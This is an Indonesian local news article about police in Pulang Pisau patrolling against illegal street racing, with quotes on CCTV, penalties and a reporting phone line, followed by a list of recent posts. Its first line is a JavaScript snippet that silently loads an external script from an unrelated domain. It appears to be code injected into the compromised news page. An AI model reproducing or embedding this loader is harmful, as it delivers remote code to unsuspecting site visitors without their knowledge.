(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Resahkan Warga, Aksi Balap Liar Terus Diburu Polres Pulpis


PULANG PISAU, Mencegah terjadinya aksi kriminalitas jalanan seperti aksi balapan liar, Satuan Lalu lintas (Sat Lantas) Polres Pulang Pisau menggelar patroli setiap malam di sejumlah ruas jalan di kota Pulang Pisau. Disinyalir saat Minggu malam dan Kamis malam disebut-sebut hari rawan aksi balapan liar di jalanan.

“Atas perintah Kapolres  Pulang Pisau AKBP  Siswo Yuwono BPM, kami terus rutin melakukan patroli lalu lintas. Khususnya titik-titik yang selama ini sering dilaporkan masyarakat menjadi tempat aksi balapan liar. Seperti di ruas jalan Darung Bawan, jalan Tingang Menteng hingga menyisir tempat ramai seperti di Taman Sumbu Kurung dan taman samping rujab. Sejak giat patroli meningkat, alhamdulillah keluhan aksi balapan liar sekarang mulai turun,” ungkap Kasatlantas Polres Pulang Pisau Iptu Suprianto.

Dikatakan Iptu Suprianto, balapan liar merupakan bentuk aksi yang sangat berbahaya. Selain dapat menciderai diri sendiri juga mengganggu ketertiban pengendara lainnya. Tidak sedikit akibat dari kebut-kebutan tersebut berujung kecelakaan hingga meninggal dunia. Polres Pulpis tegas akan menindak jika masih kedapatan ada aksi balapan liar di Pulang Pisau.

Kasatlantas Polres Pulang Pisau Iptu Suprianto. Foto : polres pulpis

“Di beberapa ruas jalan sudah terpasang CCTV. Jika pelaku tertangkap, maka akan ada sanksi berupaya denda hingga penahanan barang bukti dan hukuman kurungan bagi pelaku hingga 3 bulan,” ujarnya. Ini sesuai dengan pasal 115 Undang-Undang Nomor 22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

“Saran saya daripada balapan liar, mending salurkan untuk hal-hal yang positif. Misalnya usulkan arena balap, itu lebih bagus,” kata Suprianto.

Pihaknya mengaku siap menerima laporan masyarakat, jika melihat ada aksi balapan liar ataupun kejadian kecelakaan lalu lintas di wilayah hukum Pulang Pisau dengan nomor Ponsel pribadinya di +62 813-4904-9986. Petugas lalu lintas akan dikatakannya akan sigap turun melayani masyarakat. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Meta hingga TikTok Digugat karena Picu Kecanduan Remaja

KANALKALIMANTAN.COM - Meta Platforms, TikTok, dan YouTube akan menghadapi persidangan di pengadilan Amerika Serikat (AS)… Read More

23 menit ago

DPMPTSP Kenalkan Layanan MPP Balangan ke Perangkat Desa

KANALKALIMANTAN.COM, PARINGIN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menyosialisasikan… Read More

39 menit ago

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

14 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

14 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

15 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

16 jam ago

This website uses cookies.